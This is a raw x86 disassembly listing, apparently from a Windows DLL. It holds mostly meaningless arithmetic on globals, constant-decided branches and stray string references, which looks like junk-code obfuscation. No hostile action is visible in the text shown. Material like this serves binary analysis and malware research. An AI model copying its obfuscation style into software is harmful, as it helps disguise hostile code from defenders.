call dword [sym.imp.USER32.dll_GetMenu]
mov dword [ebp - 0x1354], eax
mov edx, dword [ebp - 0x1354]
push edx
call dword [sym.imp.USER32.dll_DestroyMenu]
mov dword [ebp - 0x22d0], eax
movzx eax, word [0x100ad0f0]
test eax, eax
jne 0x100580b1
mov dword [ebp - 0x648], 1
jmp 0x100580bb
mov dword [ebp - 0x648], 0
movsx ecx, word [ebp - 0xc]
cmp dword [ebp - 0x648], ecx
jne 0x1005818a
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1f00], edx
mov dword [ebp - 0x1efc], eax
mov ecx, dword [ebp - 0x1f00]
or ecx, dword [ebp - 0x1efc]
je 0x10058123
movsx edx, word [ebp - 0xc]
sub edx, 0xc5
mov word [ebp - 0x20], dx
mov eax, 2
imul ecx, eax, 0x1fa8
mov dx, word [ecx + 0x100adbf0]
mov word [ebp - 0x1c], dx
movzx eax, word [ebp - 0x18]
movsx ecx, word [0x100ad0d0]
imul eax, ecx
mov word [ebp - 0x18], ax
jmp 0x10058185
movzx edx, byte [0x100ad072]
mov eax, dword [ebp - 0x44]
not eax
imul edx, eax
test edx, edx
je 0x10058185
mov cl, byte [0x100ad00f]
sub cl, 1
mov byte [0x100ad00f], cl
movzx eax, byte [ebp - 3]
cdq
mov ecx, eax
mov esi, edx
mov edx, dword [ebp - 0x4c]
sub ecx, dword [ebp - 0x50]
sbb esi, edx
movsx eax, word [0x100ad130]
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov ecx, eax
movsx eax, byte [0x100ad042]
cdq
xor ecx, eax
mov byte [0x100ad00d], cl
mov edx, 0x181
mov word [0x100ad0c0], dx
jmp 0x1005828b
movsx eax, word [0x100ad0e4]
test eax, eax
je 0x100581c8
movsx cx, byte [0x100ad09a]
mov word [ebp - 0x10], cx
movsx edx, byte [ebp - 5]
add edx, dword [ebp - 0x44]
movsx eax, byte [ebp - 5]
sub eax, edx
mov byte [ebp - 5], al
mov ecx, dword [0x100ad0b4]
add ecx, 0xae
mov byte [str.px_04X_], cl
jmp 0x1005828b
movzx edx, byte [0x100ad0a6]
test edx, edx
je 0x1005822f
movzx eax, byte [ebp - 3]
add eax, dword [0x100ad100]
mov ecx, dword [0x100ad100]
sub ecx, eax
mov dword [0x100ad100], ecx
movzx edx, word [0x100ad0b8]
add edx, 0x301398cb
mov byte [0x100ad00f], dl
movzx eax, word [ebp - 0x18]
test eax, eax
je 0x10058215
movzx ecx, byte [0x100ad0a6]
mov dword [ebp - 0x64c], ecx
jmp 0x10058222
movsx edx, word [0x100ad0c0]
mov dword [ebp - 0x64c], edx
mov ax, word [ebp - 0x64c]
mov word [ebp - 0x24], ax
jmp 0x1005828b
mov ecx, 0xe9f14307
or ecx, 0xcdf78
je 0x1005828b
movzx eax, word [ebp - 0x28]
add eax, 0xb1
cdq
add eax, dword [0x100ad0e8]
adc edx, dword [0x100ad0ec]
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
imul edx, dword [ebp - 0x38], 0xd049
mov dword [0x100ad100], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [0x100ad13c]
push edx
mov edx, dword [0x100ad138]
push edx
push ecx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
movsx eax, byte [0x100ad09a]
cmp eax, 1
jne 0x100582fc
jmp 0x100582fc
mov dword [0x100ad0a8], 0xac3e1428
movsx eax, word [ebp - 0xc]
movsx ecx, word [0x100ad0c4]
imul eax, ecx
movsx edx, word [ebp - 0xc]
imul edx, eax
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x40]
xor eax, 0x5e986b96
mov byte [ebp - 5], al
movzx eax, word [0x100ad0b8]
cdq
mov ecx, dword [0x100ad110]
sub ecx, eax
mov eax, dword [0x100ad114]
sbb eax, edx
mov dword [0x100ad110], ecx
mov dword [0x100ad114], eax
mov cl, byte [ebp - 3]
add cl, 1
mov byte [ebp - 3], cl
mov edx, dword [str._s:_s__s:_s]
mov dword [ebp - 0x21d8], edx
mov eax, dword [0x10090404]
mov dword [ebp - 0x21d4], eax
mov ecx, dword [0x10090408]
mov dword [ebp - 0x21d0], ecx
mov edx, dword [0x1009040c]
mov dword [ebp - 0x21cc], edx
mov eax, dword [0x10090410]
mov dword [ebp - 0x21c8], eax
mov ecx, dword [0x10090414]
mov dword [ebp - 0x21c4], ecx
lea edx, [ebp - 0x21d8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov byte [str.px_04X_], al
mov eax, dword [ebp - 0x54]
not eax
mov dword [ebp - 0x54], eax
mov ecx, 0x83
mov word [0x100ad0bc], cx
movsx edx, word [ebp - 0x14]
test edx, edx
je 0x10058410
mov eax, dword [str.iso_8859_8_i]
mov dword [ebp - 0x2160], eax
mov ecx, dword [0x10090430]
mov dword [ebp - 0x215c], ecx
mov edx, dword [0x10090434]
mov dword [ebp - 0x2158], edx
mov al, byte [0x10090438]
mov byte [ebp - 0x2154], al
lea ecx, [ebp - 0x2160]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
jmp 0x10058493
movsx edx, word [ebp - 0xc]
test edx, edx
je 0x10058493
movsx eax, word [0x100ad130]
cdq
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0x22d4], edx
sub ecx, eax
movsx eax, byte [ebp - 2]
not eax
cdq
add ecx, eax
movzx eax, word [ebp - 0x18]
movzx edx, word [ebp - 0x20]
xor eax, edx
cdq
sub ecx, eax
mov word [0x100ad0cc], cx
movzx eax, word [ebp - 0x10]
movsx ecx, word [ebp - 0xc]
sub eax, ecx
movzx edx, word [ebp - 0x10]
sub edx, eax
mov word [ebp - 0x10], dx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x22d8], ecx
sub eax, 0xb419
mov word [ebp - 0x18], ax
mov eax, dword [ebp - 0x44]
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
movsx edx, word [0x100ad0bc]
movsx eax, byte [ebp - 2]
add eax, 0x83
cmp edx, eax
jne 0x100585c0
movsx ecx, byte [0x100ad09a]
movsx edx, byte [ebp - 1]
sub edx, 0x75d8dae0
cmp ecx, edx
jne 0x100585c0
mov eax, dword [ebp - 0x40]
add eax, 0x5a6e2009
mov word [ebp - 0x14], ax
mov ecx, dword [0x100ad0e0]
shr ecx, 1
xor edx, edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
movsx eax, word [0x100ad0d0]
test eax, eax
je 0x100584fa
movsx ecx, word [0x100ad0cc]
mov dword [ebp - 0x654], ecx
jmp 0x10058504
movzx edx, word [ebp - 0x20]
mov dword [ebp - 0x654], edx
mov al, byte [ebp - 0x654]
mov byte [0x100ad00e], al
imul ecx, dword [0x100ad15c], 0xcbd707c3
xor edx, edx
mov dword [0x100ad148], ecx
mov dword [0x100ad14c], edx
jmp 0x100585c0
mov ecx, 0x83
mov word [0x100ad0bc], cx
mov eax, dword [ebp - 0x34]
imul eax, dword [0x100ad0c8]
cdq
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
movzx edx, word [0x100ad0f0]
imul eax, edx, 0xaaa0
movzx ecx, byte [ebp - 4]
add ecx, eax
mov byte [ebp - 4], cl
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x22dc], eax
and edx, 0xc4345329
mov dword [0x100ad0e0], edx
movzx ecx, byte [0x100ad0a6]
test ecx, ecx
jne 0x10058627
mov dword [ebp - 0x658], 1
jmp 0x10058631
mov dword [ebp - 0x658], 0
movzx edx, byte [str.px_04X_]
add edx, dword [ebp - 0x658]
mov byte [ebp - 3], dl
movzx eax, byte [str.px_04X_]
cdq
mov ecx, eax
add ecx, dword [ebp - 0x40]
movzx eax, byte [str.px_04X_]
cdq
sub eax, ecx
mov byte [str.px_04X_], al
movzx edx, byte [ebp - 4]
movsx eax, byte [ebp - 2]
add edx, eax
movzx ecx, byte [ebp - 4]
add ecx, edx
mov byte [ebp - 4], cl
movzx edx, byte [0x100ad072]
movzx eax, word [0x100ad120]
imul edx, eax
movzx ecx, byte [0x100ad072]
add ecx, edx
mov byte [0x100ad072], cl
movsx edx, byte [0x100ad042]
sub edx, 0x38ae34f5
mov word [0x100ad0c4], dx
mov ax, word [ebp - 0x10]
mov word [0x100ad11c], ax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x7c]
mov ax, word [ebp - 0x54]
mov word [ebp + edx*2 - 0x15c], ax
jmp 0x10057251
movsx ecx, byte [ebp - 5]
test ecx, ecx
je 0x100587c4
movsx eax, byte [ebp - 1]
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x1f08], eax
mov dword [ebp - 0x1f04], edx
mov dword [ebp - 0x1f10], ecx
mov dword [ebp - 0x1f0c], esi
mov edx, dword [ebp - 0x1f08]
cmp edx, dword [ebp - 0x1f10]
jne 0x100587bf
mov eax, dword [ebp - 0x1f04]
cmp eax, dword [ebp - 0x1f0c]
jne 0x100587bf
mov ecx, dword [0x100adbec]
xor edx, edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], edx
movzx eax, word [ebp - 0x24]
sar eax, 1
cdq
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov cl, 7
call fcn.1007a9b0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
movsx eax, word [0x100ad0d0]
cdq
mov ecx, dword [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0x40]
push ecx
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad0d0], ax
movzx edx, word [0x100ad0b8]
test edx, edx
jne 0x10058788
xor eax, eax
mov dword [ebp - 0x1f18], 1
mov dword [ebp - 0x1f14], eax
jmp 0x10058793
xorps xmm0, xmm0
movlpd qword [ebp - 0x1f18], xmm0
mov ecx, dword [0x100ad138]
or ecx, dword [ebp - 0x1f18]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x22e0], edx
add ecx, 0xf37b48ca
movzx eax, word [ebp - 0x10]
cdq
sub eax, ecx
mov word [ebp - 0x10], ax
jmp 0x100588e1
movsx eax, word [ebp - 0xc]
test eax, eax
je 0x100587db
movzx ecx, word [0x100ad0f0]
test ecx, ecx
jne 0x100588e1
mov eax, dword [0x100ad0a8]
cdq
xor eax, dword [0x100ad128]
xor edx, dword [0x100ad12c]
mov dword [ebp - 0x1f20], eax
mov dword [ebp - 0x1f1c], edx
mov edx, dword [ebp - 0x1f20]
or edx, dword [ebp - 0x1f1c]
jne 0x10058813
mov dword [ebp - 0x65c], 1
jmp 0x1005881d
mov dword [ebp - 0x65c], 0
movsx eax, word [ebp - 0xc]
movzx ecx, word [ebp - 0x20]
sub eax, ecx
not eax
imul eax, dword [ebp - 0x65c]
test eax, eax
jne 0x10058848
xor edx, edx
mov dword [ebp - 0x1f28], 1
mov dword [ebp - 0x1f24], edx
jmp 0x10058853
xorps xmm0, xmm0
movlpd qword [ebp - 0x1f28], xmm0
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [0x100ad150]
sub ecx, eax
movsx eax, word [0x100ad0cc]
cdq
xor ecx, eax
xor ecx, dword [ebp - 0x1f28]
mov word [0x100ad0b8], cx
movzx edx, byte [ebp - 3]
movsx eax, word [0x100ad0bc]
sub edx, eax
movzx ecx, byte [ebp - 3]
add ecx, edx
mov byte [ebp - 3], cl
movsx edx, word [ebp - 0x14]
movsx eax, word [0x100ad130]
imul edx, eax
movsx ecx, byte [0x100ad042]
imul edx, ecx
movsx eax, word [ebp - 0xc]
movzx ecx, word [ebp - 0x20]
xor eax, ecx
imul eax, eax, 0x2f
not eax
add edx, eax
mov word [ebp - 0x18], dx
movsx ecx, word [ebp - 0x1c]
movzx edx, byte [0x100ad072]
imul ecx, edx
movsx eax, word [ebp - 0x1c]
sub eax, ecx
mov word [ebp - 0x1c], ax
movzx eax, word [ebp - 0x18]
cdq
sub eax, 0xb3d42d0c
mov byte [0x100ad037], al
mov ecx, dword [ebp - 0x1358]
imul ecx, dword [ebp - 0x210]
mov edx, dword [ebp - 0x210]
sub edx, dword [ebp - 0x210]
imul ecx, edx
xor eax, eax
sub eax, ecx
mov ecx, 2
shl ecx, 0
mov word [ebp + ecx - 0x15c], ax
movsx edx, byte [0x100ad00e]
test edx, edx
je 0x10058932
movsx eax, byte [0x100ad042]
cdq
mov dword [ebp - 0x1014], eax
mov dword [ebp - 0x1010], edx
jmp 0x10058949
mov eax, dword [0x100ad160]
mov ecx, dword [0x100ad164]
mov dword [ebp - 0x1014], eax
mov dword [ebp - 0x1010], ecx
mov dx, word [ebp - 0x1014]
mov word [ebp - 0x24], dx
movzx ax, byte [0x100ad072]
mov ecx, 2
imul edx, ecx, 0x19
mov word [edx + 0x101e98d8], ax
movzx eax, byte [ebp - 3]
test eax, eax
jne 0x1005897f
mov dword [ebp - 0x660], 1
jmp 0x10058989
mov dword [ebp - 0x660], 0
movsx ecx, word [0x100ad0b0]
test ecx, ecx
jne 0x100589a0
mov dword [ebp - 0x664], 1
jmp 0x100589aa
mov dword [ebp - 0x664], 0
movsx edx, byte [str.ZFreeSid]
add edx, 0x84
mov eax, dword [ebp - 0x660]
imul eax, dword [ebp - 0x664]
xor edx, eax
mov byte [str.px_04X_], dl
mov eax, dword [ebp - 0x44]
cdq
mov ecx, eax
add ecx, 0x5d01ef19
movzx eax, word [0x100ad0f0]
cdq
add eax, ecx
mov word [0x100ad0f0], ax
mov edx, 0x55
mov word [ebp - 0x160], dx
xor eax, eax
mov word [ebp - 0x15e], ax
movsx ecx, byte [ebp - 1]
movsx edx, byte [0x100ad09a]
cmp ecx, edx
jg 0x10058a39
mov byte [ebp - 4], 0xad
movsx eax, byte [0x100ad00e]
movsx ecx, byte [0x100ad037]
imul eax, ecx
mov byte [0x100ad00e], al
movzx edx, word [ebp - 0x18]
movzx eax, word [ebp - 0x10]
sub edx, eax
mov word [ebp - 0x18], dx
jmp 0x10058b09
mov ecx, dword [0x100ad160]
or ecx, dword [0x100ad164]
jne 0x10058b09
mov eax, dword [0x100ad0b4]
cdq
mov ecx, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x50]
sbb edx, ecx
mov dword [ebp - 0x1f30], eax
mov dword [ebp - 0x1f2c], edx
mov edx, dword [ebp - 0x1f30]
or edx, dword [ebp - 0x1f2c]
jne 0x10058a7f
mov dword [ebp - 0x668], 1
jmp 0x10058a89
mov dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x38]
xor eax, dword [ebp - 0x668]
cdq
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x22e4], edx
xor eax, ecx
mov byte [0x100ad00f], al
mov eax, dword [0x100ad138]
mov ecx, 4
imul edx, ecx, 0xec6
mov dword [edx + 0x10165c90], eax
movzx eax, byte [ebp - 4]
test eax, eax
jne 0x10058ad8
xor ecx, ecx
mov dword [ebp - 0x101c], 1
mov dword [ebp - 0x1018], ecx
jmp 0x10058ae3
xorps xmm0, xmm0
movlpd qword [ebp - 0x101c], xmm0
mov edx, dword [ebp - 0x1018]
push edx
mov eax, dword [ebp - 0x101c]
push eax
mov ecx, dword [0x100ad0ec]
push ecx
mov edx, dword [0x100ad0e8]
push edx
call fcn.1007a8a0
mov byte [str.ZFreeSid], al
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x84], 0
jmp 0x10058b2e
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 1
jae 0x10059089
movzx ecx, byte [ebp - 4]
cmp dword [ebp - 0x34], ecx
jge 0x10058be0
mov dl, byte [0x100adbec]
mov byte [0x100ad073], dl
movsx eax, word [0x100ad130]
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], esi
movsx eax, word [0x100ad0d0]
add eax, 0x4ce86702
cdq
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
movzx edx, word [ebp - 0x24]
add edx, dword [0x100ad0b4]
mov dword [0x100ad0b4], edx
movzx eax, word [ebp - 0x10]
test eax, eax
je 0x10058bb6
mov ecx, dword [0x100ad160]
mov edx, dword [0x100ad164]
mov dword [ebp - 0x1024], ecx
mov dword [ebp - 0x1020], edx
jmp 0x10058bcd
mov eax, dword [0x100ad150]
mov ecx, dword [0x100ad154]
mov dword [ebp - 0x1024], eax
mov dword [ebp - 0x1020], ecx
mov dx, word [ebp - 0x1024]
mov word [0x100ad11c], dx
jmp 0x10058d89
movzx eax, word [0x100ad120]
movsx ecx, word [0x100ad11c]
cmp eax, ecx
jne 0x10058bfe
mov dword [ebp - 0x66c], 1
jmp 0x10058c08
mov dword [ebp - 0x66c], 0
movsx edx, byte [ebp - 5]
mov eax, dword [ebp - 0x66c]
sub eax, edx
je 0x10058c56
movzx eax, word [ebp - 0x18]
cdq
push 0x6e18f
push 0x2bdf84a
push edx
push eax
call fcn.1007a8a0
mov word [ebp - 0x18], ax
movzx ecx, byte [ebp - 3]
add ecx, dword [0x100ad0a8]
mov word [0x100ad120], cx
movsx edx, byte [0x100ad042]
imul eax, edx, 0x46f2
mov byte [ebp - 5], al
jmp 0x10058d89
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x1f38], ecx
mov dword [ebp - 0x1f34], edx
mov eax, dword [ebp - 0x1f38]
or eax, dword [ebp - 0x1f34]
je 0x10058d89
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], esi
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1f40], edx
mov dword [ebp - 0x1f3c], eax
mov ecx, dword [ebp - 0x1f40]
or ecx, dword [ebp - 0x1f3c]
jne 0x10058cc3
xor edx, edx
mov dword [ebp - 0x102c], 1
mov dword [ebp - 0x1028], edx
jmp 0x10058cce
xorps xmm0, xmm0
movlpd qword [ebp - 0x102c], xmm0
movzx eax, word [ebp - 0x18]
cdq
or eax, dword [ebp - 0x40]
or edx, dword [ebp - 0x3c]
mov dword [ebp - 0x1f48], eax
mov dword [ebp - 0x1f44], edx
mov eax, dword [ebp - 0x1f48]
or eax, dword [ebp - 0x1f44]
jne 0x10058d07
xor ecx, ecx
mov dword [ebp - 0x1034], 1
mov dword [ebp - 0x1030], ecx
jmp 0x10058d12
xorps xmm0, xmm0
movlpd qword [ebp - 0x1034], xmm0
mov edx, dword [ebp - 0x102c]
sub edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1028]
sbb eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x1030]
push ecx
mov ecx, dword [ebp - 0x1034]
push ecx
push eax
push edx
call fcn.1007a8a0
mov word [ebp - 0xc], ax
mov eax, dword [0x100ad15c]
cdq
add eax, 0x18dd4356
mov word [ebp - 0xc], ax
mov eax, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov cl, 7
call fcn.1007a8e0
mov word [0x100ad0b0], ax
movsx edx, byte [ebp - 5]
movsx eax, word [ebp - 0xc]
lea ecx, [eax + edx + 0x82db]
mov word [ebp - 0xc], cx
movsx edx, byte [0x100ad042]
imul edx, dword [0x100ad0a8]
mov word [ebp - 0x10], dx
mov eax, dword [0x100ad118]
mov ecx, 2
imul edx, ecx, 0xbf
mov word [edx + 0x100df3a0], ax
cmp dword [ebp - 0x48], 0
jne 0x10058db2
mov dword [ebp - 0x670], 1
jmp 0x10058dbc
mov dword [ebp - 0x670], 0
movsx eax, byte [0x100ad037]
add eax, dword [ebp - 0x670]
cdq
mov ecx, eax
mov esi, edx
xor ecx, dword [ebp - 0x40]
xor esi, dword [ebp - 0x3c]
not ecx
not esi
movsx eax, word [0x100ad0b0]
not eax
movsx edx, byte [0x100ad00e]
movsx edi, word [ebp - 0x1c]
sub edx, edi
sub eax, edx
cdq
xor ecx, eax
xor esi, edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], esi
movzx eax, byte [ebp - 3]
sub eax, 0xce
mov byte [0x100ad037], al
movsx ecx, byte [ebp - 5]
add ecx, 0x7850ac13
mov byte [ebp - 5], cl
mov dx, word [0x100ad0b8]
mov byte [ebp - 2], dl
mov eax, dword [ebp - 0x118]
movzx ecx, word [ebp + eax*2 - 0x160]
imul edx, dword [ebp - 0x674], 0x1b2
imul eax, dword [ebp - 0x674], 0x1b2
sub edx, eax
sub ecx, edx
mov dword [ebp - 0x84], ecx
movzx ecx, byte [ebp - 3]
imul edx, ecx, 0x4cb809f5
movsx eax, word [ebp - 0x14]
add eax, edx
mov word [ebp - 0x14], ax
movsx ecx, word [ebp - 0x1c]
add ecx, 0x41fb
mov word [0x100ad0c4], cx
movsx edx, byte [ebp - 1]
mov eax, dword [ebp - 0x48]
sub eax, edx
not eax
movzx ecx, word [ebp - 0x18]
sub eax, ecx
jne 0x10058e90
mov dword [ebp - 0x678], 1
jmp 0x10058e9a
mov dword [ebp - 0x678], 0
movzx eax, byte [0x100ad0a6]
movzx edx, byte [ebp - 3]
add eax, edx
movsx ecx, byte [str.ZFreeSid]
movzx edx, word [ebp - 0x24]
sub ecx, edx
not ecx
or eax, ecx
sub eax, dword [ebp - 0x678]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x48]
shl eax, 6
mov byte [str.ZFreeSid], al
mov ecx, dword [ebp - 0x84]
sub ecx, 1
mov dword [ebp - 0x84], ecx
mov edx, 8
imul ecx, edx, 0x4d
mov eax, dword [ebp - 0x34]
cdq
sub eax, dword [ecx + 0x101ebf30]
mov dword [ebp - 0x34], eax
mov edx, 4
imul eax, edx, 0x33
movsx ecx, byte [0x100ad043]
sub ecx, dword [eax + 0x101af448]
mov byte [0x100ad043], cl
movsx edx, byte [0x100ad073]
imul edx, dword [ebp - 0x48]
movsx eax, byte [0x100ad073]
sub eax, edx
mov byte [0x100ad073], al
mov ecx, dword [ebp - 0x67c]
xor ecx, dword [ebp - 0x67c]
mov edx, dword [ebp - 0x214]
xor edx, dword [ebp - 0x214]
xor ecx, edx
mov eax, 0x2cd
sub eax, dword [ebp - 0x135c]
imul edx, dword [ebp - 0x214], 0x2cd
imul eax, edx
imul ecx, eax
add ecx, 0x65
xor ecx, dword [ebp - 0x84]
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x218], 0x385
jmp 0x10058f87
mov eax, dword [ebp - 0x218]
sub eax, 1
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jle 0x10058fd4
mov ecx, 6
mov esi, str.x_mac_hebrew
lea edi, [ebp - 0x26a0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x26a0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov byte [0x100ad072], al
mov edx, dword [0x100ad128]
mov eax, dword [0x100ad12c]
add edx, 1
adc eax, 0
mov dword [0x100ad128], edx
mov dword [0x100ad12c], eax
jmp 0x10058f78
mov ecx, dword [ebp - 0x84]
add ecx, 1
mov dword [ebp - 0x84], ecx
movsx eax, byte [0x100ad09a]
cdq
mov esi, eax
mov edi, edx
movzx eax, word [ebp - 0x24]
cdq
mov ecx, dword [ebp - 0x40]
not ecx
mov ebx, dword [ebp - 0x3c]
not ebx
push ebx
push ecx
push edx
push eax
call fcn.1007a8a0
push edx
push eax
push edi
push esi
call fcn.1007a8a0
not eax
mov dword [ebp - 0x44], eax
movzx eax, word [ebp - 0x24]
sar eax, 5
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
xor edx, edx
mov dword [0x100ad0d8], 0xfe
mov dword [0x100ad0dc], edx
mov eax, 0xffffa8f1
mov word [0x100ad0b0], ax
movsx ecx, word [0x100ad0c0]
movsx edx, byte [ebp - 5]
sub ecx, edx
movsx eax, word [0x100ad0c0]
imul eax, ecx
mov word [0x100ad0c0], ax
movsx ecx, word [ebp - 0x1c]
add ecx, 0x241b
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x118]
mov ax, word [ebp - 0x84]
mov word [ebp + edx*2 - 0x160], ax
jmp 0x10058b1f
mov ecx, 0xffffd623
mov word [0x100ad0cc], cx
mov dx, word [0x100ad0e8]
mov eax, 2
imul ecx, eax, 0x18
mov word [ecx + 0x101af408], dx
movzx edx, byte [0x100ad00f]
sub edx, 0xa896
mov word [ebp - 0x14], dx
movzx eax, byte [ebp - 3]
movsx ecx, word [ebp - 0x1c]
sub eax, ecx
movzx edx, byte [ebp - 3]
or edx, eax
mov byte [ebp - 3], dl
movsx eax, byte [ebp - 1]
sar eax, 3
mov byte [ebp - 5], al
movsx ecx, byte [0x100ad037]
sub ecx, 0x5a5e
movzx edx, word [0x100ad0f0]
sub edx, ecx
mov word [0x100ad0f0], dx
movsx eax, word [0x100ad0cc]
movsx ecx, byte [ebp - 1]
add eax, ecx
cdq
mov dword [ebp - 0x1f50], eax
mov dword [ebp - 0x1f4c], edx
mov edx, dword [0x100ad150]
cmp edx, dword [ebp - 0x1f50]
jne 0x100593bf
mov eax, dword [0x100ad154]
cmp eax, dword [ebp - 0x1f4c]
jne 0x100593bf
movsx eax, byte [str.ZFreeSid]
cdq
mov dword [ebp - 0x1f58], eax
mov dword [ebp - 0x1f54], edx
mov ecx, dword [ebp - 0x1f54]
cmp ecx, dword [0x100ad114]
jl 0x10059171
jg 0x10059165
mov edx, dword [ebp - 0x1f58]
cmp edx, dword [0x100ad110]
jbe 0x10059171
mov dword [ebp - 0x680], 1
jmp 0x1005917b
mov dword [ebp - 0x680], 0
movsx eax, byte [str.ZFreeSid]
cmp eax, 0xa
jle 0x10059193
mov dword [ebp - 0x684], 1
jmp 0x1005919d
mov dword [ebp - 0x684], 0
mov ecx, dword [ebp - 0x680]
cmp ecx, dword [ebp - 0x684]
jg 0x10059244
movsx eax, word [0x100ad0cc]
cdq
mov ecx, eax
xor ecx, dword [ebp - 0x40]
movsx eax, word [0x100ad0cc]
cdq
add eax, ecx
mov word [0x100ad0cc], ax
movsx eax, byte [str.ZFreeSid]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
movsx edx, word [0x100ad0e4]
test edx, edx
jne 0x1005920f
mov dword [ebp - 0x688], 1
jmp 0x10059219
mov dword [ebp - 0x688], 0
mov eax, dword [0x100ad118]
sub eax, dword [ebp - 0x688]
not eax
mov ecx, dword [ebp - 0x38]
not ecx
add ecx, dword [ebp - 0x48]
add eax, ecx
mov word [ebp - 0x20], ax
movzx edx, word [0x100ad120]
and edx, 0x2a
mov byte [0x100ad00d], dl
xor eax, eax
mov word [0x100ad120], ax
imul ecx, dword [0x100ad0c8], 0
mov byte [0x100ad00f], cl
xor edx, edx
mov dword [ebp - 0x50], 0x47
mov dword [ebp - 0x4c], edx
mov dword [0x100ad100], 0x1b7ea47e
movsx eax, word [ebp - 0x14]
movsx ecx, word [0x100ad11c]
add eax, ecx
mov word [ebp - 0x14], ax
movzx edx, word [0x100ad120]
mov dword [ebp - 0x1360], edx
cmp dword [ebp - 0x1360], 0
je 0x10059298
jmp 0x100592e7
movsx eax, word [0x100ad0cc]
test eax, eax
jne 0x100592af
mov dword [ebp - 0x68c], 1
jmp 0x100592b9
mov dword [ebp - 0x68c], 0
mov ecx, dword [ebp - 0x38]
sub ecx, 0xb7
imul ecx, dword [ebp - 0x68c]
mov byte [0x100ad0a6], cl
movsx eax, word [0x100ad0d0]
add eax, 0xd9
cdq
mov dword [0x100ad150], eax
mov dword [0x100ad154], edx
movsx edx, byte [str.ZFreeSid]
movsx eax, word [ebp - 0x14]
add eax, 0x298a
cmp edx, eax
jne 0x100593bf
movsx ecx, byte [ebp - 5]
add ecx, 0x52b5
mov byte [0x100ad037], cl
movsx edx, word [0x100ad0d0]
movsx eax, word [ebp - 0x1c]
movsx ecx, word [ebp - 0x14]
sub eax, ecx
imul edx, eax
mov eax, dword [ebp - 0x48]
add eax, edx
xor ecx, ecx
mov dword [0x100ad110], eax
mov dword [0x100ad114], ecx
mov edx, 0x1a
mov word [0x100ad0f0], dx
mov eax, dword [0x100ad0f8]
add eax, 1
mov ecx, dword [0x100ad0fc]
adc ecx, 0
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], ecx
jmp 0x10059089
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x22e8], eax
sub edx, 0x7d
mov word [ebp - 0x14], dx
movsx ecx, byte [ebp - 5]
test ecx, ecx
jne 0x100593e0
mov byte [ebp - 0x6c], 1
jmp 0x100593e4
mov byte [ebp - 0x6c], 0
mov dl, byte [ebp - 0x6c]
mov byte [ebp - 5], dl
